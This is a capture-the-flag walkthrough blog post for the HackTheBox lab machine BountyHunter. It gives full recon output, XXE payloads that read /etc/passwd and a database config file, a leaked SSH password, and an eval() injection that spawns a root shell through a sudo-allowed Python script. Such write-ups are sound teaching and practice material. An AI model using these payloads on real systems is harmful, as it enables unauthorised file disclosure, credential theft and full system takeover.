Hi everyone!
Today’s post is on BountyHunter, an easy GNU/Linux HackTheBox machine. This machine was released on 25 July 2021. This machine requires XML External Entities (XXE) with base64 + URL encoding of the whole XML, base64 filtering to leak file contents. Finally, a custom exploit is needed to exploit an eval() vulnerability in a Python script for privilege escalation. Read on if you are interested. Let’s get started!

Tools required
Service discovery with Nmap
┌──(soulx㉿kali)-[~] └─$ IP=10.10.11.100 ┌──(soulx㉿kali)-[~] └─$ nmap -A -p1-9999 -v $IP Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-01 23:36 +08 NSE: Loaded 153 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 23:36 Completed NSE at 23:36, 0.00s elapsed Initiating NSE at 23:36 Completed NSE at 23:36, 0.00s elapsed Initiating NSE at 23:36 Completed NSE at 23:36, 0.00s elapsed Initiating Ping Scan at 23:36 Scanning 10.10.11.100 [2 ports] Completed Ping Scan at 23:36, 0.15s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 23:36 Completed Parallel DNS resolution of 1 host. at 23:36, 0.06s elapsed Initiating Connect Scan at 23:36 Scanning 10.10.11.100 [9999 ports] Discovered open port 22/tcp on 10.10.11.100 Discovered open port 80/tcp on 10.10.11.100 Increasing send delay for 10.10.11.100 from 0 to 5 due to 71 out of 236 dropped probes since last increase. Increasing send delay for 10.10.11.100 from 5 to 10 due to max_successful_tryno increase to 4 Connect Scan Timing: About 15.51% done; ETC: 23:39 (0:02:49 remaining) Increasing send delay for 10.10.11.100 from 10 to 20 due to max_successful_tryno increase to 5 Connect Scan Timing: About 30.78% done; ETC: 23:39 (0:02:17 remaining) Connect Scan Timing: About 44.69% done; ETC: 23:39 (0:01:53 remaining) Connect Scan Timing: About 59.00% done; ETC: 23:39 (0:01:24 remaining) Connect Scan Timing: About 73.11% done; ETC: 23:39 (0:00:56 remaining) Completed Connect Scan at 23:39, 207.21s elapsed (9999 total ports) Initiating Service scan at 23:39 Scanning 2 services on 10.10.11.100 Completed Service scan at 23:40, 6.31s elapsed (2 services on 1 host) NSE: Script scanning 10.10.11.100. Initiating NSE at 23:40 Completed NSE at 23:40, 4.64s elapsed Initiating NSE at 23:40 Completed NSE at 23:40, 0.60s elapsed Initiating NSE at 23:40 Completed NSE at 23:40, 0.00s elapsed Nmap scan report for 10.10.11.100 Host is up (0.15s latency). Not shown: 9997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA) | 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA) |_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Bounty Hunters Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel NSE: Script Post-scanning. Initiating NSE at 23:40 Completed NSE at 23:40, 0.00s elapsed Initiating NSE at 23:40 Completed NSE at 23:40, 0.00s elapsed Initiating NSE at 23:40 Completed NSE at 23:40, 0.00s elapsed Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 220.06 seconds
Outlook of the website

On the main page, only portal will bring us to another page which is http://10.10.11.100/portal.php.

If we clicked on the hyperlink on the website, it will bring us to the report system shown in Fig 4c.

Discovery of XXE vulnerability
Finding the vulnerability
When I look at the source code of log_submit.php
, I saw that our input in the form will be placed in an XML in bountylog.js
, encoded into base64 from ASCII using btoa(), before submitting to tracker_diRbPr00f314.php
in the server.


If we use Burpsuite, we can see that the XML data is in base64 and URL-encoded when intercepting a submitted form. You can easily prove it by reconstructing the same XML, encode it on https://www.base64encode.org/, replace the current data, URL-encode it by highlighting the data and press CTRL+U
, and finally submit the data.

Remember to right-click the request in Burpsuite and select “Send to Repeater” so that we can easily submit a new request with our XXE exploits.
Test if the website is vulnerable to XXE
Next, we need to check if tracker_diRbPr00f314.php
is really vulnerable to XML External Entities (XXE). We can use the following XML to test it.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ENTITY xxe "3"> ]>
<bugreport>
<title>&xxe;</title>
<cwe>a</cwe>
<cvss>a</cvss>
<reward>a</reward>
</bugreport>
If it is vulnerable to XXE, the title will contain “3” when we receive the response result from the server.

Remember to URL-encode the base64 XML by highlighting it and press CTRL+U
before submitting the new request. The response in Fig 5e shows that the website is vulnerable to XXE!

Accessing server and getting the user flag
I tried exploiting the expect
module to easily obtain remote code execution (RCE) but unfortunately, that module is not loaded. Thus I had to use other ways to access the server.
Test extracting of the file content
We can first test if we can extract the content of files located in the server. The easiest file to test would be the current index.php
in the server.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]> <bugreport> <title>&xxe;</title> <cwe>a</cwe> <cvss>a</cvss> <reward>a</reward> </bugreport>
Paste the code above on https://www.base64encode.org/ to translate it to base64 before URL-encode it and send over Burpsuite.

The response we received should contain the source code of index.php
in base64. To a readable source code, you just have to decode it in base64.
Leak /etc/passwd
We can first look at the passed
file to see what are the users on the server. As we are probably in the /var/www/
directory, we will have to do a file traversal to access the /etc/passwd
file.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE title [ <!ELEMENT title ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/../../../../../../../etc/passwd" >]> <bugreport> <title>&xxe;</title> <cwe>a</cwe> <cvss>a</cvss> <reward>a</reward> </bugreport>
Encode and send it over Burpsuite, we should get the base64 content of /etc/passwd
. Once we decode it in https://www.base64decode.org/, we will get the following content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
Based on /etc/passwd
, the user we are supposed to login should be development as it has a /home
directory and usually user accounts have an ID around 1000~.
Fuzz directory with GoBuster
I tried to see the content of those files we know from the website but they do not contain any useful information. Hence I decided to fuzz to see if there are any files that weren’t directly accessible from the website.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/BountyHunter] └─$ gobuster dir -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,sh,txt -o gobust_result.txt /.php (Status: 403) [Size: 277] /.html (Status: 403) [Size: 277] /.html.php (Status: 403) [Size: 277] /.html.sh (Status: 403) [Size: 277] /.html.txt (Status: 403) [Size: 277] /js (Status: 301) [Size: 309] [--> http://10.10.11.100/js/] /index.php (Status: 200) [Size: 25169] /css (Status: 301) [Size: 310] [--> http://10.10.11.100/css/] /.htm (Status: 403) [Size: 277] /.htm.php (Status: 403) [Size: 277] /.htm.sh (Status: 403) [Size: 277] /.htm.txt (Status: 403) [Size: 277] /assets (Status: 301) [Size: 313] [--> http://10.10.11.100/assets/] /db.php (Status: 200) [Size: 0] /resources (Status: 301) [Size: 316] [--> http://10.10.11.100/resources/] /. (Status: 200) [Size: 25169] /portal.php (Status: 200) [Size: 125] /.htaccess (Status: 403) [Size: 277] ...
We can see that there is an interesting file called db.php
which we can access since the status is 200. If we try to access it directly, it is empty. Let’s use XXE to get the content of db.php
.
Get login credentials in db.php
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=db.php" >]>
<bugreport>
<title>&xxe;</title>
<cwe>a</cwe>
<cvss>a</cvss>
<reward>a</reward>
</bugreport>
Once again, convert the above XML to base64 then URL-encode it before sending it via Burpsuite.

We should obtain the content of db.php in base64. Use https://www.base64decode.org/ to get the content in readable source code.

SSH into the server and get user flag
Based on the output of /etc/passwd
, we know that we should login to development’s account. We can try to use the password we obtain from db.php
as the chances of it being the same password are high due to bad password practice.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/BountyHunter] └─$ ssh development@$IP The authenticity of host '10.10.11.100 (10.10.11.100)' can't be established. ECDSA key fingerprint is SHA256:3IaCMSdNq0Q9iu+vTawqvIf84OO0+RYNnsDxDBZI04Y. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.100' (ECDSA) to the list of known hosts. development@10.10.11.100's password: m19RoAU0hP41A1sTsq6K Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 02 Aug 2021 08:14:46 AM UTC System load: 0.0 Usage of /: 23.7% of 6.83GB Memory usage: 13% Swap usage: 0% Processes: 214 Users logged in: 0 IPv4 address for eth0: 10.10.11.100 IPv6 address for eth0: dead:beef::250:56ff:feb9:35a9 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8 development@bountyhunter:~$
Once we successful login, we can obtain the user flag.
development@bountyhunter:~$ ls contract.txt user.txt development@bountyhunter:~$ cat user.txt 50c*****************************
Privilege escalation and get the root flag
See privilege in sudo
To see what privilege development account has, we can use the sudo -l
command.
development@bountyhunter:~$ sudo -l Matching Defaults entries for development on bountyhunter: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User development may run the following commands on bountyhunter: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
If we look at the contract.txt
which we found in development’s /home
directory,
development@bountyhunter:~$ cat contract.txt Hey team, I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed. This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why. I set up the permissions for you to test this. Good luck. -- John
Find a vulnerability in ticketValidator.py
If we look at the source code of /opt/skytrain_inc/ticketValidator.py
, we can see eval()
, a dangerous function, is being used in line 34.
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
Bypassing conditions
Looking at the conditions to reach eval()
, there are around 6 of them.
Firstly, the file must be a markdown file, .md
file extension.
Next, the first line must contain “# Skytrain inc”.
The 2nd line must contain “#Ticket to xxx”. There must be at least 3 letters after “to ” due to slicing [3:]
at line 22.
The 3rd line must start with “__Ticket Code:__” as it will then make code_line
variable be on par with i
variable counter to pass the condition at line 29.
The 4th line should start with “**” and follow by a number that will get the value 4 when mod 7. I chose 11 as 11 mod 7 = 4
. The 4th line should also contain “+” after the number so that split()
will allow the 1st number to be obtained. As the number must add up to be >100 to get True, we can use 11+100 to get True to test if our exploit managed to pass all the required conditions.
# Skytrain Inc ## Ticket to Pwning __Ticket Code:__ **11+100
Save the code above as exploit.md then execute ticketValidator.py.
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py Please enter the path to the ticket file. exploit.md Destination: Pwning Valid ticket.
As the result is “Valid ticket”, it means our conditions are working. We can now exploit eval()
to spawn a root shell.
Exploit eval() to get a root shell
# Skytrain Inc ## Ticket to Pwning __Ticket Code:__ **11+__import__('os').system('/bin/sh')
11+__import__('os').system('bin/sh')
is allowed as system() will return an exit code which is an integer. Therefore, 11 + exitcode
is a valid sematics for eval()
.
Getting root flag
Running the new exploit.md
will allow us to get a root shell.
development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py Please enter the path to the ticket file. exploit.md Destination: Pwning #
We can now obtain the root flag.
# id uid=0(root) gid=0(root) groups=0(root) # cd /root # ls root.txt snap # cat root.txt fc1****************************
Overall, this machine is very easy and fun to try. As compared to exploiting CVEs in machines, exploiting XXE is something less common. Therefore, give it a try if possible.
I hope these tabs have been helpful to you. Feel free to leave any comments below. Do remove your ad-blocker to support my blog. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction and the cost of hosting the website as well as the domain name fee. The link is here. 🙂